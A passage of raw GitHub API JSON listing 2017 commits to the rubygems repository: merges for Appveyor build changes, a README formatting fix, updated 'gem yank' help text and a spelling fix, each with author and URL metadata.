}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"7243d5461ce0230e7bfea38d2f3764a511b9ace3","url":"https://api.github.com/repos/rubygems/rubygems/commits/7243d5461ce0230e7bfea38d2f3764a511b9ace3","html_url":"https://github.com/rubygems/rubygems/commit/7243d5461ce0230e7bfea38d2f3764a511b9ace3"},{"sha":"5e33d2cafb72a98998a4bd8e4df24f4cb3c6e5ea","url":"https://api.github.com/repos/rubygems/rubygems/commits/5e33d2cafb72a98998a4bd8e4df24f4cb3c6e5ea","html_url":"https://github.com/rubygems/rubygems/commit/5e33d2cafb72a98998a4bd8e4df24f4cb3c6e5ea"}]},{"sha":"5e33d2cafb72a98998a4bd8e4df24f4cb3c6e5ea","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-09-13T01:37:21Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-10-06T03:42:53Z"},"message":"Removed trailing-whitespaces","tree":{"sha":"962630f5da518ea031f2908eb05534468870d59a","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/962630f5da518ea031f2908eb05534468870d59a"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/5e33d2cafb72a98998a4bd8e4df24f4cb3c6e5ea","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/5e33d2cafb72a98998a4bd8e4df24f4cb3c6e5ea","html_url":"https://github.com/rubygems/rubygems/commit/5e33d2cafb72a98998a4bd8e4df24f4cb3c6e5ea","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/5e33d2cafb72a98998a4bd8e4df24f4cb3c6e5ea/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"7243d5461ce0230e7bfea38d2f3764a511b9ace3","url":"https://api.github.com/repos/rubygems/rubygems/commits/7243d5461ce0230e7bfea38d2f3764a511b9ace3","html_url":"https://github.com/rubygems/rubygems/commit/7243d5461ce0230e7bfea38d2f3764a511b9ace3"}]},{"sha":"7243d5461ce0230e7bfea38d2f3764a511b9ace3","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-06T00:20:01Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-06T00:20:01Z"},"message":"Auto merge of #2020 - MSP-Greg:av_trunk, r=segiddins\n\nChange trunk build from BinTray to Appveyor\n\n# Description:\n\nPreviously added trunk build to appveyor.yml. At the time, build was done locally and pushed to BinTray. Rolling trunk build (twice daily) is now done on Appveyor. Changed download URI in appveyor.yml to account for the change.\n\nAlso, since nothing is compiled with OpenSSL or GDBM, removed package download.\n\nTests passed on my fork.\n______________\n\n# Tasks:\n\n- [X] Describe the problem / feature\n- [ ] Write tests\n- [X] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"0953d8e0c116bbde3cbd0711280017a954096874","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/0953d8e0c116bbde3cbd0711280017a954096874"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/7243d5461ce0230e7bfea38d2f3764a511b9ace3","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/7243d5461ce0230e7bfea38d2f3764a511b9ace3","html_url":"https://github.com/rubygems/rubygems/commit/7243d5461ce0230e7bfea38d2f3764a511b9ace3","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/7243d5461ce0230e7bfea38d2f3764a511b9ace3/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"6e06340f9c3880a07cdbb93bb9c6039c8b3854fe","url":"https://api.github.com/repos/rubygems/rubygems/commits/6e06340f9c3880a07cdbb93bb9c6039c8b3854fe","html_url":"https://github.com/rubygems/rubygems/commit/6e06340f9c3880a07cdbb93bb9c6039c8b3854fe"},{"sha":"0890467188a68650adb09b1dc12793efb5dd1619","url":"https://api.github.com/repos/rubygems/rubygems/commits/0890467188a68650adb09b1dc12793efb5dd1619","html_url":"https://github.com/rubygems/rubygems/commit/0890467188a68650adb09b1dc12793efb5dd1619"}]},{"sha":"6e06340f9c3880a07cdbb93bb9c6039c8b3854fe","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-05T07:31:17Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-05T07:31:17Z"},"message":"Auto merge of #2018 - jdanford:fix-readme-formatting, r=segiddins\n\nFix formatting of installation instructions in README\n\n# Description:\nFixes formatting of installation instructions in README\n______________\n\n# Tasks:\n\n- [x] Describe the problem / feature\n- [ ] ~~Write tests~~\n- [ ] ~~Write code to solve the problem~~\n- [x] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"7ee0d1cf1b245505b612aeefb59a410bbb6bb29e","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/7ee0d1cf1b245505b612aeefb59a410bbb6bb29e"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/6e06340f9c3880a07cdbb93bb9c6039c8b3854fe","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/6e06340f9c3880a07cdbb93bb9c6039c8b3854fe","html_url":"https://github.com/rubygems/rubygems/commit/6e06340f9c3880a07cdbb93bb9c6039c8b3854fe","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/6e06340f9c3880a07cdbb93bb9c6039c8b3854fe/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"2367f36461917d27d542c108737ae0f8bdc418b0","url":"https://api.github.com/repos/rubygems/rubygems/commits/2367f36461917d27d542c108737ae0f8bdc418b0","html_url":"https://github.com/rubygems/rubygems/commit/2367f36461917d27d542c108737ae0f8bdc418b0"},{"sha":"23e0e4f6b29b8a8224542afa3fdb9405046a552a","url":"https://api.github.com/repos/rubygems/rubygems/commits/23e0e4f6b29b8a8224542afa3fdb9405046a552a","html_url":"https://github.com/rubygems/rubygems/commit/23e0e4f6b29b8a8224542afa3fdb9405046a552a"}]},{"sha":"2367f36461917d27d542c108737ae0f8bdc418b0","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-05T07:04:55Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-05T07:04:55Z"},"message":"Auto merge of #2015 - colby-swandale:colby/appveyor-ruby-trunk, r=olleolleolle\n\nallow failures for ruby trunk in appveyor\n\n Description:\n\nWe should allow build failures for trunk ruby in appveyor. This will let PRs that pass all released & supported versions of ruby to have green status builds and be merged more easily.\n\nSee #2009, #2010\n\n# Tasks:\n\n- [x] Describe the problem / feature\n- [ ] Write tests\n- [ ] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"8d84593a0eb064d444ed58bff008e9c0a3c78880","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/8d84593a0eb064d444ed58bff008e9c0a3c78880"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/2367f36461917d27d542c108737ae0f8bdc418b0","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/2367f36461917d27d542c108737ae0f8bdc418b0","html_url":"https://github.com/rubygems/rubygems/commit/2367f36461917d27d542c108737ae0f8bdc418b0","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/2367f36461917d27d542c108737ae0f8bdc418b0/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"d356ce76e731aa003d13bc59350a0819b929be8b","url":"https://api.github.com/repos/rubygems/rubygems/commits/d356ce76e731aa003d13bc59350a0819b929be8b","html_url":"https://github.com/rubygems/rubygems/commit/d356ce76e731aa003d13bc59350a0819b929be8b"},{"sha":"abada4bccca9b43536acf6090a0946f4e7a2ec30","url":"https://api.github.com/repos/rubygems/rubygems/commits/abada4bccca9b43536acf6090a0946f4e7a2ec30","html_url":"https://github.com/rubygems/rubygems/commit/abada4bccca9b43536acf6090a0946f4e7a2ec30"}]},{"sha":"d356ce76e731aa003d13bc59350a0819b929be8b","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-04T20:48:15Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-04T20:48:15Z"},"message":"Auto merge of #2009 - rubygems:dwr-gem-yank-help, r=segiddins\n\nupdate gem yank description\n\nNow that gem yank permanently removes the gem we should not direct people to contact us to remove a gem.","tree":{"sha":"69c682f646e06379b6e5532993c4153e5613f37c","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/69c682f646e06379b6e5532993c4153e5613f37c"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/d356ce76e731aa003d13bc59350a0819b929be8b","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/d356ce76e731aa003d13bc59350a0819b929be8b","html_url":"https://github.com/rubygems/rubygems/commit/d356ce76e731aa003d13bc59350a0819b929be8b","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/d356ce76e731aa003d13bc59350a0819b929be8b/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"ed1564e0db30ab8c586d2869b58ddf900a5be1ea","url":"https://api.github.com/repos/rubygems/rubygems/commits/ed1564e0db30ab8c586d2869b58ddf900a5be1ea","html_url":"https://github.com/rubygems/rubygems/commit/ed1564e0db30ab8c586d2869b58ddf900a5be1ea"},{"sha":"17ba6f22829c4d94bbcc3c4680147449ca6e049f","url":"https://api.github.com/repos/rubygems/rubygems/commits/17ba6f22829c4d94bbcc3c4680147449ca6e049f","html_url":"https://github.com/rubygems/rubygems/commit/17ba6f22829c4d94bbcc3c4680147449ca6e049f"}]},{"sha":"ed1564e0db30ab8c586d2869b58ddf900a5be1ea","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-09-27T00:56:50Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-09-27T00:56:50Z"},"message":"Auto merge of #2022 - parndt:patch-1, r=colby-swandale\n\nFix spelling of ''vulnerability''\n\nI noticed a typo in the history when it was printed in my terminal.\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"e40498794a3b4a10dc26c767b1780531010517c5","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/e40498794a3b4a10dc26c767b1780531010517c5"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/ed1564e0db30ab8c586d2869b58ddf900a5be1ea","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/ed1564e0db30ab8c586d2869b58ddf900a5be1ea","html_url":"https://github.com/rubygems/rubygems/commit/ed1564e0db30ab8c586d2869b58ddf900a5be1ea","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/ed1564e0db30ab8c586d2869b58ddf900a5be1ea/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"f905c638fe1e86e049b61e5a87da2ac9b6fb5d3b","url":"https://api.github.com/repos/rubygems/rubygems/commits/f905c638fe1e86e049b61e5a87da2ac9b6fb5d3b","html_url":"https://github.com/rubygems/rubygems/commit/f905c638fe1e86e049b61e5a87da2ac9b6fb5d3b"},{"sha":"df72290f82dfcdf88a2c11620258ac7f17279e74","url":"https://api.github.com/repos/rubygems/rubygems/commits/df72290f82dfcdf88a2c11620258ac7f17279e74","html_url":"https://github.com/rubygems/rubygems/commit/df72290f82dfcdf88a2c11620258ac7f17279e74"}]},{"sha":"df72290f82dfcdf88a2c11620258ac7f17279e74","commit":{"author":{"name":"Philip Arndt","email":"git@p.arndt.io","date":"2017-09-27T00:33:28Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-09-27T00:33:28Z"},"message":"Fix spelling of ''vulnerability''","tree":{"sha":"e40498794a3b4a10dc26c767b1780531010517c5","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/e40498794a3b4a10dc26c767b1780531010517c5"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/df72290f82dfcdf88a2c11620258ac7f17279e74","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/df72290f82dfcdf88a2c11620258ac7f17279e74","html_url":"https://github.com/rubygems/rubygems/commit/df72290f82dfcdf88a2c11620258ac7f17279e74","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/df72290f82dfcdf88a2c11620258ac7f17279e74/comments","author":{"login":"parndt","id":10128,"avatar_url":"https://avatars3.githubusercontent.com/u/10128?v=4","gravatar_id":"","url":"https://api.github.com/users/parndt","html_url":"https://github.com/parndt","followers_url":"https://api.github.com/users/parndt/followers","following_url":"https://api.github.com/users/parndt/following{/other_user}","gists_url":"https://api.github.com/users/parndt/gists{/gist_id}","starred_url":"https://api.github.com/users/parndt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/parndt/subscriptions","organizations_url":"https://api.github.com/users/parndt/orgs","repos_url":"https://api.github.com/users/parndt/repos","events_url":"https://api.github.com/users/parndt/events{/privacy}","received_events_url":"https://api.github.com/users/parndt/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"f905c638fe1e86e049b61e5a87da2ac9b6fb5d3b","url":"https://api.github.com/repos/rubygems/rubygems/commits/f905c638fe1e86e049b61e5a87da2ac9b6fb5d3b","html_url":"https://github.com/rubygems/rubygems/commit/f905c638fe1e86e049b61e5a87da2ac9b6fb5d3b"}]},{"sha":"0890467188a68650adb09b1dc12793efb5dd1619","commit":{"author":{"name":"MSP-Greg","email":"msp-greg@users.noreply.github.com","date":"2017-09-25T20:27:27Z"},"committer":{"name":"MSP-Greg","email":"msp-greg@users.noreply.github.com","date":"2017-09-25T20:27:27Z"},"message":"Change trunk build from BinTray to Appveyor","tree":{"sha":"f2e1bed139c8a3fa0ffc9f9bd2d5bf9de42e5488","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/f2e1bed139c8a3fa0ffc9f9bd2d5bf9de42e5488"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/0890467188a68650adb09b1dc12793efb5dd1619","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/0890467188a68650adb09b1dc12793efb5dd1619","html_url":"https://github.com/rubygems/rubygems/commit/0890467188a68650adb09b1dc12793efb5dd1619","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/0890467188a68650adb09b1dc12793efb5dd1619/comments","author":{"login":"MSP-Greg","id":15081176,"avatar_url":"https://avatars3.githubusercontent.com/u/15081176?v=4","gravatar_id":"","url":"https://api.github.com/users/MSP-Greg","html_url":"https://github.com/MSP-Greg","followers_url":"https://api.github.com/users/MSP-Greg/followers","following_url":"https://api.github.com/users/MSP-Greg/following{/other_user}","gists_url":"https://api.github.com/users/MSP-Greg/gists{/gist_id}","starred_url":"https://api.github.com/users/MSP-Greg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MSP-Greg/subscriptions","organizations_url":"https://api.github.com/users/MSP-Greg/orgs","repos_url":"https://api.github.com/users/MSP-Greg/repos","events_url":"https://api.github.com/users/MSP-Greg/events{/privacy}","received_events_url":"https://api.github.com/users/MSP-Greg/received_events","type":"User","site_admin":false},"committer":{"login":"MSP-Greg","id":15081176,"avatar_url":"https://avatars3.githubusercontent.com/u/15081176?v=4","gravatar_id":"","url":"https://api.github.com/users/MSP-Greg","html_url":"https://github.com/MSP-Greg","followers_url":"https://api.github.com/users/MSP-Greg/followers","following_url":"https://api.github.com/users/MSP-Greg/following{/other_user}","gists_url":"https://api.github.com/users/MSP-Greg/gists{/gist_id}","starred_url":"https://api.github.com/users/MSP-Greg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MSP-Greg/subscriptions","organizations_url":"https://api.github.com/users/MSP-Greg/orgs","repos_url":"https://api.github.com/users/MSP-Greg/repos","events_url":"https://api.github.com/users/MSP-Greg/events{/privacy}","received_events_url":"https://api.github.com/users/MSP-Greg/received_events","type":"User","site_admin":false},"parents":[{"sha":"f905c638fe1e86e049b61e5a87da2ac9b6fb5d3b","url":"https://api.github.com/repos/rubygems/rubygems/commits/f905c638fe1e86e049b61e5a87da2ac9b6fb5d3b","html_url":"https://github.com/rubygems/rubygems/commit/f905c638fe1e86e049b61e5a87da2ac9b6fb5d3b"}]},{"sha":"23e0e4f6b29b8a8224542afa3fdb9405046a552a","commit":{"author":{"name":"Jordan Danford","email":"jordandanford@gmail.com","date":"2017-09-22T21:33:32Z"},"committer":{"name":"Jordan Danford","email":"jordandanford@gmail.com","date":"2017-09-22T21:33:32Z"},"message":"Fix formatting of installation instructions in README","tree":{"sha":"49e89c7e8ab0dfefca618c8f11b62b8cd480dbc8","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/49e89c7e8ab0dfefca618c8f11b62b8cd480dbc8"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/23e0e4f6b29b8a8224542afa3fdb9405046a552a","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/23e0e4f6b29b8a8224542afa3fdb9405046a552a","html_url":"https://github.com/rubygems/rubygems/commit/23e0e4f6b29b8a8224542afa3fdb9405046a552a","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/23e0e4f6b29b8a8224542afa3fdb9405046a552a/comments","author":{"login":"jdanford","id":5767112,"avatar_url":"https://avatars2.githubusercontent.com/u/5767112?v=4","gravatar_id":"","url":"https://api.github.com/users/jdanford","html_url":"https://github.com/jdanford","followers_url":"https://api.github.com/users/jdanford/followers","following_url":"https://api.github.com/users/jdanford/following{/other_user}","gists_url":"https://api.github.com/users/jdanford/gists{/gist_id}","starred_url":"https://api.github.com/users/jdanford/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jdanford/subscriptions","organizations_url":"https://api.github.com/users/jdanford/orgs","repos_url":"https://api.github.com/users/jdanford/repos","events_url":"https://api.github.com/users/jdanford/events{/privacy}","received_events_url":"https://api.github.com/users/jdanford/received_events","type":"User","site_admin":false},"committer":{"login":"jdanford","id":5767112,"avatar_url":"https://avatars2.githubusercontent.com/u/5767112?v=4","gravatar_id":"","url":"https://api.github.com/users/jdanford","html_url":"https://github.com/jdanford","followers_url":"https://api.github.com/users/jdanford/followers","following_url":"https://api.github.com/users/jdanford/following{/other_user}","gists_url":"https://api.github.com/users/jdanford/gists{/gist_id}","starred_url":"https://api.github.com/users/jdanford/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jdanford/subscriptions","organizations_url":"https://api.github.com/users/jdanford/orgs","repos_url":"https://api.github.com/users/jdanford/repos","events_url":"https://api.github.com/users/jdanford/events{/privacy}","received_events_url":"https://api.github.com/users/jdanford/received_events","type":"User","site_admin":false},"parents":[{"sha":"f905c638fe1e86e049b61e5a87da2ac9b6fb5d3b","url":"https://api.github.com/repos/rubygems/rubygems/commits/f905c638fe1e86e049b61e5a87da2ac9b6fb5d3b","html_url":"https://github.com/rubygems/rubygems/commit/f905c638fe1e86e049b61e5a87da2ac9b6fb5d3b"}]},{"sha":"abada4bccca9b43536acf6090a0946f4e7a2ec30","commit":{"author":{"name":"Colby Swandale","email":"colby@taplaboratories.com","date":"2017-09-18T07:16:41Z"},"committer":{"name":"Colby Swandale","email":"colby@taplaboratories.com","date":"2017-09-18T07:57:09Z"},"message":"allow failures for ruby trunk in 